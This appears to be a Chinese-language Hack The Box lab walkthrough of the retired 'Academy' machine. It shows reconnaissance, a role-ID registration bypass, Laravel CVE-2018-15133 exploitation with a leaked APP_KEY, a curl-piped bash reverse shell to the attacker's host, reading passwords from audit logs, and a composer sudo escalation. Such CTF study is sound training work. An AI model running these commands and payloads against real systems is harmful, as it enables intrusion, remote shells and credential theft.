HTB-靶机-Academy

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.215

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

信息枚举收集
https://github.com/codingo/Reconnoitre 跟autorecon类似
autorecon 10.10.10.215 -o ./Doctor-autorecon

masscan -p1-65535 10.10.10.215 --rate=1000 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.215
sudo nmap -sS -sV -T4 -O -A -v 10.10.10.215

nmap自动探测工具
https://github.com/21y4d/nmapAutomator

爆破目录新工具
https://github.com/phra/rustbuster

开放了3个端口,先看看web应用,使用curl访问一把

发现直接访问IP地址目标靶机会返回响应码302,然后给个Location地址,域名是http://academy.htb  看到这个就知道要配置绑定本地hosts文件然后访问

追加hosts文件
sudo -- sh -c "echo '10.10.10.215 academy.htb' >> /etc/hosts"
访问之后看到登录注册页面,注册了个用户登录进去没发现可利用的地方,使用burpsuite看抓包的情况,绕行roleid=0根据经验猜测可能跟权限控制有关,将其改成roleid=1重新注册一个用户,登录进去是admin权限,提示有一个域名dev-staging-01.academy.htb ,按照下面方式追加到hosts文件
sudo -- sh -c "echo '10.10.10.215 dev-staging-01.academy.htb' >> /etc/hosts"

原始注册请求数据包

更改roleid=1

注册成功之后登录目标靶机获得一个域名dev-staging-01.academy.htb

上述发现的域名绑定hosts访问发现是打开debug模式的页面,发现了敏感信息,一串base64编码信息

 此处花了点时间,最后通过下面参考链接获取了一枚目标靶机的远程代码执行漏洞额exploit

https://github.com/facade/ignition
https://www.exploit-db.com/exploits/47129
https://jwt.io/
https://github.com/aljavier/exploit_laravel_cve-2018-15133

利用配置exploit

APP_KEY     "base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0="

对应的exploit
https://github.com/aljavier/exploit_laravel_cve-2018-15133

下面是装载exploit需要的模块
git clone https://github.com/aljavier/exploit_laravel_cve-2018-15133
cd exploit_laravel_cve-2018-15133/
sudo pip3 install -r requirements.txt

python3 pwn_laravel.py http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= --interactive

最终利用成功,可以远程代码执行,将这个可交互式shell换成反弹shell,具体如下

上面执行完成后直接可远程命令执行,然后将其反弹shell,再升级为tty-shell

在本机kali上执行下面操作
echo 'bash -i >& /dev/tcp/10.10.14.16/8833 0>&1' > /index.html
sudo python3 -m http.server 80
nc -lvnp 8833

在拿到目标靶机的交互式shell之后执行下面操作触发反弹shell
curl 10.10.14.16 | bash

成功反弹shell,开始升级tty-shell
python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo
fg

上面大概意思就是在目标靶机上执行命令然后反弹shell到kali本机,这里是反着来,是把反弹shell命令代码放在本地kali上然后在目标靶机上去触发此反弹shell命令代码

在目标靶机上信息搜集

www-data@academy:/home$ cat /var/www/html/academy/.env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
APP_DEBUG=false
APP_URL=http://localhost

LOG_CHANNEL=stack

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!

使用上面的数据库密码去尝试登录目标靶机普通用户的ssh服务,刚好可以登录用户cry0l1t3 ,使用su切换登录

上面执行了一下id命令发现,此用户也隶属于组adm,针对组adm的权限是可以查看系统上的所有日志,可以通过审计的模块查看敏感信息,具体可参考如下

https://serverfault.com/questions/485473/what-is-the-canonical-use-for-the-sys-and-adm-groups
https://linux.die.net/man/8/pam_tty_audit
https://www.cyberciti.biz/tips/linux-audit-files-to-see-who-made-changes-to-a-file.html

通过上面的介绍,可以知道默认情况下Linux系统内核是不会记录审计的,但是系统管理员认为操作可以审计系统操作的记录,并且启用了tty输入的日志记录,其中就包括输入的账号和密码记录,系统会将其保存在/var/log/audit/audit.log文件里面,里面是16进制数据,这个可以手动解码,也可以使用aureport进行解码,下面是操作

执行一把审计命令,其中的结果如下:

$ aureport --tty

TTY Report
===============================================
# date time event auid term sess comm data
===============================================
Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log
1. 08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",<nl>
2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",<nl>

知道了另一个用户的账号和密码,直接su切换过去,然后再执行一把sudo -l

关于composer可以进行直接提权,参考:

https://gtfobins.github.io/gtfobins/composer/
https://getcomposer.org/doc/articles/scripts.md

提权操作

TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x
迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/14804143.html